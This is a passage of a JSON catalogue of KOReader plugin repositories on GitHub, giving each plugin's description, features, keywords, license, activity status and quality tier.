模式：","优先读取 metadata 的 identifiers（仅识别 ISBN: / isbn: 标签）","其次读取 isbn/ISBN/identifier/dc:identifier","再次尝试文件名提取"],"keywords":["sync","isbn","identifier","main","lua","kosyncclient","api","json","meta","document","matching","method","debug","log","getdocumentdigest","metadata","identifiers"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-20T15:28:54Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":753,"detail":"detail/Exhen__kosync_plus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"eznas/ESP-Key.koplugin","owner":"eznas","repo":"ESP-Key.koplugin","url":"https://github.com/eznas/ESP-Key.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T16:01:34Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"eznas/plugin_manager.koplugin","owner":"eznas","repo":"plugin_manager.koplugin","url":"https://github.com/eznas/plugin_manager.koplugin","description":"","purpose":"一个用于 KOReader 的插件管理工具，支持从 ZIP 文件安装/更新插件，并自动启用已禁用的插件。 永久移除，同时从禁用列表中清除。 点击“关于”可查看插件版本、作者及描述。 A plugin management tool for KOReader, supporting installation/update of plugins from ZIP files, and automatically enabling disabled plugins.","categories":["misc"],"features":["安装/更新插件：选择 .zip 压缩包，自动解压到 plugins/ 目录，并覆盖旧版本。","自动启用：安装后自动从 KOReader 的禁用列表中移除该插件，无需手动启用。","卸载插件：列出所有已安装的插件，支持一键删除并清理设置。","自身隐藏：插件管理大师不会出现在卸载列表中，避免误删。","多语言支持：根据 KOReader 界面语言自动切换（中/英文）。","下载本插件的 .koplugin 文件夹。","将其复制到 KOReader 的 plugins/ 目录（通常位于 koreader/plugins/）。","重启 KOReader，主菜单 → 工具 → 插件管理大师。","点击“安装/更新插件”。","在文件浏览器中选择一个 .zip 压缩包（需包含 .koplugin 文件夹）。"],"keywords":["manager","pro","folder","after","automatically","list","update","click","disabled","download","restart","uninstall","archive","deletion","directory","select","code","contain","copy","enabling","koplugin-main","must","overwrite","removed"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-28T15:59:10Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4489,"detail":"detail/eznas__plugin_manager.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"FDSFDS123/matrix.koplugin","owner":"FDSFDS123","repo":"matrix.koplugin","url":"https://github.com/FDSFDS123/matrix.koplugin","description":"a tiny plugin for matrix communition written by all AI. UNDER DEVELOPMENT","purpose":"probably working??? be careful of data leak!! ONLY USE IT WITH CAUTION!!","categories":["ai"],"features":[],"keywords":["tiny","matrix","communition","written","all","under","development"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-10T05:15:35Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":73,"detail":"detail/FDSFDS123__matrix.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"Fiddelis/linefocus.koplugin","owner":"Fiddelis","repo":"linefocus.koplugin","url":"https://github.com/Fiddelis/linefocus.koplugin","description":"Configurable reading-focus overlay for KOReader","purpose":"`linefocus.koplugin` is a configurable reading-focus overlay for KOReader. It keeps a movable focus line while letting you visually reduce distractions from the surrounding lines.","categories":["ui"],"features":["Continuous underline marker for the focused line","Visual treatments: continuous underline, gray other lines, or a gray focus","Adjustable underline thickness, underline opacity, gray opacity, and the","Swipe up/down to move to the previous/next visible line","Tap above/below the focus, use top/bottom or left/right zones, tap page","Tap the marker to enter tap-to-place mode, then tap any line","Automatic previous/next page navigation at line boundaries","Optional automatic line advance with a configurable interval","Portuguese or English plugin labels, with automatic detection from KOReader","A compact visual-settings card containing the treatment, thickness, both"],"keywords":["configurable","reading-focus","overlay","line","focus","demonstrations","visual","settings","configuration","dispatcher","actions","development","limitations","attribution","gray","underline","choose","lines","automatic","page","continuous","linefocus","opacity","advance"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T17:53:15Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":5285,"detail":"detail/Fiddelis__linefocus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"FilipBB/wallabag.koplugin","owner":"FilipBB","repo":"wallabag.koplugin","url":"https://github.com/FilipBB/wallabag.koplugin","description":"KOReader Wallabag Plugin","purpose":"","categories":["web"],"features":[],"keywords":["wallabag"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":true,"pushed_at":"2017-04-13T02:51:32Z","license":null,"default_branch":"master","has_meta":false,"readme_bytes":20,"detail":"detail/FilipBB__wallabag.koplugin.json","activity":"archived","tier":"C","tier_reasons":["no_meta","archived","archived","stub"]},{"id":"fisalazarm/wallpaperScreensaver.koplugin","owner":"fisalazarm","repo":"wallpaperScreensaver.koplugin","url":"https://github.com/fisalazarm/wallpaperScreensaver.koplugin","description":"A Plugin that automatically saves the cover of the book you're reading as an image.","purpose":"Plugin for KOReader that automatically saves the cover of the book you're reading as an image, so you can use it as your device's screensaver / wallpaper.","categories":["ui","device","reading"],"features":["Android / BOOX: /storage/emulated/0/koreader/plugins/","Kobo: .adds/koreader/plugins/","Kindle: koreader/plugins/","Open a book with a cover; cover.png will be generated at the configured","Boox's Screensaver app, or","File manager → long-press cover.png → *\"use as screensaver\"*","Clona este repositorio","Copia la carpeta wallpaper.koplugin/ completa dentro de la carpeta","Reinicia KOReader","Abre un libro con portada; se generará cover.png en la ruta configurada"],"keywords":["android","boox","eink-devices","ereader","kindle","kobo","koreader","koreader-plugin","lua","automatically","saves","cover","book","reading","image","wallpaper","english","onyx","configuration","espa","instalaci","uso","configuraci","licencia"],"topics":["android","boox","eink-devices","ereader","kindle","kobo","koreader","koreader-plugin","lua"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T03:55:38Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":5036,"detail":"detail/fisalazarm__wallpaperScreensaver.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Frenzie/stardictbook.koplugin","owner":"Frenzie","repo":"stardictbook.koplugin","url":"https://github.com/Frenzie/stardictbook.koplugin","description":"Read stardict vaguely like a real dictionary","purpose":"","categories":["dict"],"features":[],"keywords":["read","stardict","vaguely","like","real","dictionary"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-17T10:57:37Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"Frenzie/webbrowser.koplugin","owner":"Frenzie","repo":"webbrowser.koplugin","url":"https://github.com/Frenzie/webbrowser.koplugin","description":"Deep under the pyramids workers shuffle about, their eyes devoid of intelligence, supplying the arcane magic that powers web browsers.","purpose":"Deep under the pyramids workers shuffle about, their eyes devoid of intelligence, supplying the arcane magic that powers web browsers.","categories":["web"],"features":[],"keywords":["deep","under","pyramids","workers","shuffle","about","their","eyes","devoid","intelligence","supplying","arcane","magic","powers","web","browsers","webbrowser"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-09-15T18:14:40Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":157,"detail":"detail/Frenzie__webbrowser.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"garlicwjj/fanqielite.koplugin","owner":"garlicwjj","repo":"fanqielite.koplugin","url":"https://github.com/garlicwjj/fanqielite.koplugin","description":"在 KOReader 中读取番茄小说官方网页公开章节的实验性插件","purpose":"一个面向 KOReader 的番茄小说实验性插件。第一版只使用番茄小说官方网页，读取网页明确公开展示的章节。 第一版不登录、不读取个人书架、不上传进度、不使用第三方书源、不批量下载全本，也不会绕过登录、付费或章节锁定。 将整个 `fanqielite.koplugin` 目录复制到 KOReader 的 `plugins` 目录，完整重启 KOReader，然后从工具菜单打开“番茄小说（实验版）”。","categories":["device","content"],"features":["输入官方书籍链接或书籍 ID。","获取官方书籍信息和目录。","获取公开章节网页，解码当前已知的 PUA 字符混淆。","生成本地 XHTML，交给 KOReader 原生阅读引擎。","通过插件菜单打开目录、上一章和下一章。","每本书最多缓存最近 12 个已打开章节。","番茄网页和字符映射可能随时变化。遇到未知 PUA 字符时插件会拒绝缓存，避免显示乱码。","部分章节只向未登录网页返回短预览，第一版会提示不可公开读取。","网络请求目前有 20 秒总超时，但仍可能短暂阻塞 KOReader；后续版本再做独立网络工作进程。","Kindle 的系统日期错误时，HTTPS 证书校验可能失败；先让设备联网校时后再重试。"],"keywords":["fanqienovel","kindle","koreader","lua","fanqie","lite","fanqielite","pua","xhtml","https"],"topics":["fanqienovel","kindle","koreader","lua"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T14:51:40Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2444,"detail":"detail/garlicwjj__fanqielite.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Genusovismachismo683/syncery.koplugin","owner":"Genusovismachismo683","repo":"syncery.koplugin","url":"https://github.com/Genusovismachismo683/syncery.koplugin","description":"Synchronize reading progress, annotations, and settings across all your KOReader devices using Syncthing, Dropbox, WebDAV, or FTP.","purpose":"This software manages your reading data across multiple devices. It tracks your current page, highlights, and book settings. You enjoy the same reading experience whether you use a tablet or an e-ink reader.","categories":["sync","library","device","files","reading","notes"],"features":["Visit the releases page to download the latest file","Choose the zip file from the list","Save the file to your computer","Connect your reading device to your computer via USB","Open the folder named koreader on your device","Locate the plugins folder inside koreader","Disconnect your device safely","Progress Tracking: The plugin remembers the exact page you finished. You start on the same page on every device","Annotation Sync: Your notes and highlights save to the cloud. You review these notes on any device later","Metadata Management: Book statuses like read, unread, or favorites stay consistent everywhere"],"keywords":["android","annotation-sync","annotations","cloud-sync","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","koreader-plugins","metadata-sync","reading","reading-progress","syncthing","synchronize","progress","settings","across","all","devices","dropbox","webdav","ftp"],"topics":["android","annotation-sync","annotations","cloud-sync","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","koreader-plugins","metadata-sync","reading","reading-progress","syncthing"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T23:32:12Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":4683,"detail":"detail/Genusovismachismo683__syncery.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"gilgulgamesh/readest.koplugin","owner":"gilgulgamesh","repo":"readest.koplugin","url":"https://github.com/gilgulgamesh/readest.koplugin","description":"this is jus the binary, to be available on app store. not guaranteed up to date","purpose":"definitely not guaranteedup to date, this is 10.1 (progress is mature, highlights and annotations are v1, no files yet)","categories":["misc"],"features":[],"keywords":["jus","binary","available","app","store","guaranteed","date"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-04T05:19:15Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":120,"detail":"detail/gilgulgamesh__readest.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"gilgulgamesh/xkcd.koplugin","owner":"gilgulgamesh","repo":"xkcd.koplugin","url":"https://github.com/gilgulgamesh/xkcd.koplugin","description":"can't believe this didn't exist. very basic, only random atm, made of slop","purpose":"","categories":["misc"],"features":[],"keywords":["believe","didn","exist","very","basic","only","random","atm","made","slop"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-05T11:38:49Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"ginqi7/calibredb-reading-tracking.koplugin","owner":"ginqi7","repo":"calibredb-reading-tracking.koplugin","url":"https://github.com/ginqi7/calibredb-reading-tracking.koplugin","description":"","purpose":"","categories":["reading"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-21T02:27:59Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"GuerraSa/NotionKoSync.koplugin","owner":"GuerraSa","repo":"NotionKoSync.koplugin","url":"https://github.com/GuerraSa/NotionKoSync.koplugin","description":"Sync koreader highlights with Notion, and track reading progress","purpose":"A KOReader plugin that synchronizes your book highlights and reading progress directly to Notion. Unlike basic sync tools, this plugin supports a relational database structure, separating your permanent book library from your individual reading sessions. This allows you to track re-reads, exact page progress, and…","categories":["sync","reading","notes"],"features":["Smart Book Matching: Automatically searches your Notion library using the book's metadata to prevent duplicate entries","Relational Tracking: Links highlights to a core Books database while logging page progress to a specific Reading List session","Granular Progress Syncing: Pushes your exact current page and total page count to Notion","Time-Stamped Logs: Records exactly when you last synced (with timezone support)","Highlight Deduplication: Checks existing Notion entries so you never upload the same highlight twice","Name (Title property): The title of the book","Name (Title property): The name of the session (e.g., \"Think and Grow Rich Session\")","Title (Relation property): Linked to your Books Database","Progress (Number property): Tracks your current page","Total Pages (Number property): Tracks the length of the book"],"keywords":["sync","highlights","notion","track","reading","progress","database","setup","books","list","configuration","config","lua","property","book","page","library","title","tracks","file","folder","last","name","session"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-08T00:03:41Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":2445,"detail":"detail/GuerraSa__NotionKoSync.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"h4rryhaller/todotxt.koplugin","owner":"h4rryhaller","repo":"todotxt.koplugin","url":"https://github.com/h4rryhaller/todotxt.koplugin","description":"Plugin para la gestión de un Todo.txt en KOReader","purpose":"","categories":["misc"],"features":[],"keywords":["para","gesti","todo","txt"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T19:07:55Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"hesan1232/reading.koplugin","owner":"hesan1232","repo":"reading.koplugin","url":"https://github.com/hesan1232/reading.koplugin","description":"koreader 开源阅读插件，用于下载链接webdav云端的书架、书库、进度同步","purpose":"koreader 开源阅读插件，用于下载链接webdav云端的书架、书库、进度同步","categories":["sync"],"features":[],"keywords":["webdav","reading"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-06T13:19:02Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":113,"detail":"detail/hesan1232__reading.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"hudsonbrendon/koremote.koplugin","owner":"hudsonbrendon","repo":"koremote.koplugin","url":"https://github.com/hudsonbrendon/koremote.koplugin","description":"KOReader plugin: token-authed HTTP REST control API + UDP discovery, so a companion app (e.g. a Switch homebrew) can read device/book info and remote-control the e-reader.","purpose":"KOReader plugin that exposes a token-authed HTTP REST control API plus a UDP discovery responder on the e-reader, so a companion app (e.g. a Nintendo Switch homebrew, inspired by mister-companion-nx) can read device/book info and remote-control the reader.","categories":["web"],"features":[],"keywords":["token-authed","http","rest","control","api","udp","discovery","companion","app","switch","homebrew","read","device","book","info","remote-control","e-reader","koremote","develop","post","path","settings","author","copy"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-03T12:20:02Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1735,"detail":"detail/hudsonbrendon__koremote.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"iDynbek/kazakh.koplugin","owner":"iDynbek","repo":"kazakh.koplugin","url":"https://github.com/iDynbek/kazakh.koplugin","description":"Kazakh morphological dictionary lookup for KOReader","purpose":"Dictionary lookup for inflected Kazakh words. Kazakh is agglutinative, so `мектептерімізде` is `мектеп` (\"school\") plus plural, possessive and locative endings. Dictionaries are keyed on the lemma, so tapping the word finds nothing, and fuzzy search does not help — it measures spelling distance, not morphology.","categories":["dict"],"features":["KOReader v2025.08 or newer (tested on v2026.07.2)","A Kazakh StarDict dictionary in koreader/data/dict/","Kindle — /mnt/us/koreader/plugins/","Kobo — /mnt/onboard/.adds/koreader/plugins/","Desktop — koreader/plugins/"],"keywords":["kazakh","morphological","dictionary","lookup","requirements","licence","book","language","word","words","0-or-later","adds","directory","inflected","kindle","search","v2025","newer","tested","v2026","stardict","data","dict","mnt"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-09T09:22:59Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2056,"detail":"detail/iDynbek__kazakh.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"IT-Yohan/annas.koplugin","owner":"IT-Yohan","repo":"annas.koplugin","url":"https://github.com/IT-Yohan/annas.koplugin","description":"Private KOReader Anna's Archive plugin fork","purpose":"Disclaimer: This plugin is for educational purposes only. Please respect copyright laws and use it responsibly.","categories":["misc"],"features":["Validate the Lua files","Package the plugin directory into a ZIP with annas.koplugin as the archive root","dist/annas.koplugin.zip","Ensure the copied folder is named exactly annas.koplugin","Place it under koreader/plugins","git, curl, and tar","luajit for a runtime that is close to KOReader's LuaJIT-based environment","lua and luarocks for generic Lua tooling","lua-language-server for editor diagnostics and navigation","luajit is the best local match for KOReader plugin work"],"keywords":["private","anna","archive","fork","annas","build","package","source","local","option","checkout","locally","packaged","zip","result","device","windows","development","setup","ota","update","configuration","automated","main"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-23T01:31:18Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9596,"detail":"detail/IT-Yohan__annas.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jackowfish/alcovel_ui.koplugin","owner":"jackowfish","repo":"alcovel_ui.koplugin","url":"https://github.com/jackowfish/alcovel_ui.koplugin","description":"Alcovel-themed fork of Zen UI for KOReader (GPL-3.0)","purpose":"","categories":["ui"],"features":[],"keywords":["alcovel-themed","fork","zen","gpl-3"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T16:53:19Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"JDsnyke/koreader-metadata-scraper","owner":"JDsnyke","repo":"koreader-metadata-scraper","url":"https://github.com/JDsnyke/koreader-metadata-scraper","description":"A Kindle-friendly KOReader plugin for fetching EPUB metadata and covers.","purpose":"A Kindle-friendly KOReader plugin for finding EPUB metadata and covers from Hardcover, Amazon Creators API, Google Books, and Open Library, then saving selected values as KOReader-native custom metadata.","categories":["ui","library","device","reading","notes"],"features":["automatic ISBN detection from EPUB/KOReader identifiers","ISBN-10/ISBN-13 checksum validation and canonical matching","cross-provider duplicate collapsing","conflict-aware scoring with Exact / Strong / Possible / Weak confidence classes","explicit ebook-vs-print/audiobook safeguards when a provider supplies format evidence","comparison-only author normalization for forms such as Dinniman, Matt vs Matt Dinniman","Current → Proposed field comparison before writing","Choose fields for this book… without changing global defaults","exact one-step metadata/cover Undo","richer per-book provenance and Last match details"],"keywords":["kindle","koreader","koreader-kindle","koreader-plugin","koreader-plugins","kindle-friendly","fetching","epub","metadata","covers","scraper","highlights","compatibility","usb","transfers","fresh","updating","manually","opening","stock","zen","provider","configuration","defaults"],"topics":["kindle","koreader","koreader-kindle","koreader-plugin","koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T11:53:40Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":22288,"detail":"detail/JDsnyke__koreader-metadata-scraper.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jenningsb2/matter.koplugin","owner":"jenningsb2","repo":"matter.koplugin","url":"https://github.com/jenningsb2/matter.koplugin","description":"Download and read articles from your Matter account directly in KOReader","purpose":"Download and read articles from your Matter reading library directly in KOReader. Matter API access requires a Matter Pro subscription.","categories":["web","files","reading","notes"],"features":["Bearer token authentication using a personal access token from Matter","Browse Inbox, Queue, Favorites, Archive, and items by tag","Search across your library","Markdown → HTML conversion with footnotes, lists, code blocks, links, and inline emphasis","EPUB output with optional image embedding","Article metadata on long-press: author, site, word count, reading time, progress, source URL","Manage articles: Archive, Favorite/Unfavorite, Mark read, Delete","Bulk download with source filter, period filter, and post-download action","Auto WiFi connect — triggers network connection automatically when needed","Reading-progress display in the article list"],"keywords":["download","read","articles","matter","account","directly","setup","api","token","configure","browse","article","reading","progress","long-press","bulk","save","urls","documents","settings","implementation","notes","rate","limits"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-13T14:25:23Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9208,"detail":"detail/jenningsb2__matter.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jnjnnjzch/leko-reader","owner":"jnjnnjzch","repo":"leko-reader","url":"https://github.com/jnjnnjzch/leko-reader","description":"全程本地运行的 KOReader 网络小说插件，支持 Legado 兼容书源，致力于让阅读轻快流畅。 An on-device KOReader web novel reader with Legado-compatible sources, built for fast and fluid reading.","purpose":"欢迎使用 Leko Reader。 它是 Kindle 第三方阅读器里的网络小说插件，有自己的书架、搜书、目录和阅读界面，也可以缓存全书并导出 TXT、EPUB 或 MOBI。 Leko = Legado + KOReader。","categories":["web","device","content"],"features":["独立书架与阅读进度","多书源搜索，结果可陆续显示","搜索结果直接试读，再决定是否加入书架","目录浏览、章节跳转与阅读排版","书籍换源与封面换源","手动刷新书籍信息、目录与当前章节","全书缓存与离线阅读","TXT、EPUB、MOBI 导出","书源启用、停用、排序、检测与备份恢复","手机扫码导入书源"],"keywords":["kindle","koreader","koreader-plugin","legado","web-novel","lua","on-device","web","novel","legado-compatible","sources","built","fast","fluid","reading","leko","zip","json","javascript","quickjs","main","mobi","wi-fi","epub"],"topics":["kindle","koreader","koreader-plugin","legado","web-novel","lua"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T15:03:02Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":13624,"detail":"detail/jnjnnjzch__leko-reader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jonparmesan/appleIIe.koplugin","owner":"jonparmesan","repo":"appleIIe.koplugin","url":"https://github.com/jonparmesan/appleIIe.koplugin","description":"Apple IIe emulator plugin for KOReader on Kindle","purpose":"","categories":["misc"],"features":[],"keywords":["apple","iie","emulator","kindle"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-07T03:58:42Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"just-for-death/suwayomi.koplugin","owner":"just-for-death","repo":"suwayomi.koplugin","url":"https://github.com/just-for-death/suwayomi.koplugin","description":"Suwayomi client for KOReader: stream chapters online, open them in the normal reader via a size-capped cache, track on MAL/AniList, and download CBZ files in bulk.","purpose":"Browse a self-hosted Suwayomi server from KOReader. Tap a chapter to read it online, open it in KOReader's normal reader through a size-capped cache (so history, streaks, and statistics count), track on MAL/AniList, or download CBZ files in bulk for offline use.","categories":["device","files","reading","content"],"features":["Read online — tap a chapter to stream pages without a permanent download (default)","Open in reader — optional cache-based path that fetches a chapter into a size-capped local cache and opens it in KOReader's…","In-reader chapter navigation — next / previous chapter, chapter list, and end-of-chapter menu (also bindable as KOReader gestures)","Trackers — view and bind Suwayomi trackers such as MyAnimeList and AniList from the device","Bulk downloads — queue large chapter batches (up to 500) for offline CBZ storage","Reading cache controls — configurable cache limit with automatic cleanup of older chapters","KOReader on your device (Kindle, Kobo, Android, Linux desktop, …)","A Suwayomi server reachable from that device (Tailscale / VPN is fine)","Basic Auth credentials if your Suwayomi server uses login protection"],"keywords":["ebook","kindle","koreader","manga","suwayomi","client","stream","chapters","online","open","them","normal","via","size-capped","cache","track","mal","anilist","download","cbz","files","bulk","fork","need"],"topics":["ebook","kindle","koreader","manga","suwayomi"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T10:52:39Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6678,"detail":"detail/just-for-death__suwayomi.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jyliuu/insightful.koplugin","owner":"jyliuu","repo":"insightful.koplugin","url":"https://github.com/jyliuu/insightful.koplugin","description":"Agentic reading harness for KOReader and jailbroken Kindles","purpose":"Insightful is a simple, lightweight AI reading harness for KOReader. Instead of putting the whole book into every prompt, it gives the LLM five specific ways to read the book you have open.","categories":["ui","device"],"features":["Add your provider, endpoint, model, and API key to configuration.lua"],"keywords":["kindle","koplugin","koreader","koreader-plugin","agentic","reading","harness","jailbroken","kindles","insightful","configure","provider","read","check","token","open","chat","list","gesture","see","model","reads","conversations","privacy"],"topics":["kindle","koplugin","koreader","koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-10T21:55:24Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":10957,"detail":"detail/jyliuu__insightful.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kaikozlov/koplugin-dev","owner":"kaikozlov","repo":"koplugin-dev","url":"https://github.com/kaikozlov/koplugin-dev","description":"","purpose":"Development environment for KOReader plugins. One Docker image with everything you need: Plugins vendor `shared.just` into the repo under `just/shared.just` (committed) and pin a published GHCR image. Contributors only need Docker + `just` — no sibling clone of this repo. Use `just/` rather than `vendor/` so Go does…","categories":["reading"],"features":["KOReader Linux release — real runtime for testing (not mocks)","Go toolchain — build, test, lint, format","Lua toolchain — busted, luacheck, stylua, lua-language-server","Build essentials — compiler/toolchain support for native deps","CLI tools — rg, fd, jq, gh, qemu-arm, just, gettext","Merge/push to koplugin-dev","In each plugin: just sync-shared (optional: KOPLUGIN_DEV_REF= just sync-shared)","Commit the updated just/shared.just","Settings are isolated to /tmp/koreader-test-data","Each test run gets fresh G_reader_settings and G_defaults"],"keywords":["koplugin-dev","quick","start","create","justfile","vendor","shared","recipes","one-container","aggregate","keeping","just","date","git","hooks","devcontainer","luarc","json","optional","writing","tests","available","test","helpers"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T17:24:55Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":8303,"detail":"detail/kaikozlov__koplugin-dev.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"Khady/tap_zone_guides.koplugin","owner":"Khady","repo":"tap_zone_guides.koplugin","url":"https://github.com/Khady/tap_zone_guides.koplugin","description":"Shows margin guides for common tap zones and a diagnostic map of every touch zone registered in KOReader.","purpose":"Tap Zone Guides is a small KOReader plugin that draws unobtrusive marks in the screen margins at the boundaries of:","categories":["notes"],"features":["active corner gestures; and","enabled page-turn tap zones","Put the repository directory in the plugins directory of your KOReader","marks on the left or right edge identify horizontal zone boundaries","marks on the top or bottom edge identify vertical zone boundaries"],"keywords":["koreader-plugin","shows","margin","guides","common","tap","zones","diagnostic","map","every","touch","zone","registered","marks","mean","testing","edge","page-turn","corner","each","screen","badge","boundaries","directory"],"topics":["koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T13:39:32Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3960,"detail":"detail/Khady__tap_zone_guides.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kodermike/opds_plus_plus.koplugin","owner":"kodermike","repo":"opds_plus_plus.koplugin","url":"https://github.com/kodermike/opds_plus_plus.koplugin","description":"This is a fork of a fork of the OPDS koreader plugin.","purpose":"Version: 1.3.0 OPDS++ is a fork of the great OPDS plugin fork, OPDS Plus. So why the fork? There are features and changes I wanted that were either out of scope for the original project, or just too particular to my own use cases. I'm posting this as a public repo in case anyone else has a similar need.","categories":["sync","ui","web","library"],"features":["Visual Book Covers: Browse catalogs with book cover images displayed alongside titles","Dual View Modes: Switch between List View and Grid View layouts","Multiple Display Options: Customize how books are presented","Book Info Dialog: Open an at-a-glance details dialog with improved cover handling","Sync Gesture Actions: Trigger sync-related actions directly from configured gestures","Cover Quality + Cache: Improved cover rendering pipeline with disk-backed caching","Book covers displayed alongside title and author information","Adjustable cover sizes with presets (Compact, Regular, Large, Extra Large)","Custom size option (5-25% of screen height)","Clean, readable layout optimized for 